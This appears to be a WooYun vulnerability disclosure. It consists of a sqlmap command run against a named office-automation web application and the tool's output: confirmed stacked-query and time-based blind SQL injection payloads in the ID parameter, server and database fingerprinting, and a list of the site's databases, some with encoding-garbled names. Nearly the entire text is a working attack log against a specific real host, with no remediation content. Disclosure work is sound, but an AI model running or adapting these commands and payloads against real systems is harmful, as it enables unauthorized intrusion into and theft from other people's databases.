WooYun.org

python sqlmap.py -u "http://oa.cttqh.com/C6/Jhsoft.Web.login/NewView.aspx?ID=10" --dbms "mssql" --tamper "space2comment.py" --dbs

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ID
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=10; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=10 WAITFOR DELAY '0:0:5'--
---
[19:38:17] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[19:38:17] [INFO] testing Microsoft SQL Server
[19:38:17] [WARNING] time-based comparison needs larger statistical model. Making a few dummy request
[19:38:26] [INFO] confirming Microsoft SQL Server
[19:38:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
[19:38:26] [INFO] fetching database names
[19:38:26] [INFO] fetching number of databases
[19:38:26] [INFO] resumed: 7
[19:38:26] [INFO] resumed: C6!
[19:38:26] [INFO] resumed: master
[19:38:26] [INFO] resumed: model
[19:38:26] [INFO] resumed: osdb
[19:38:26] [INFO] resumed: ReportServerA\t
[19:38:26] [INFO] resumed: ReportServerTempIB
[19:38:26] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (htt
[19:38:26] [INFO] resumed: temp?b
available databases [7]:
[*] [C6!]
[*] [temp?b]
[*] master
[*] model
[*] osdb
[*] ReportServerA
[*] ReportServerTempIB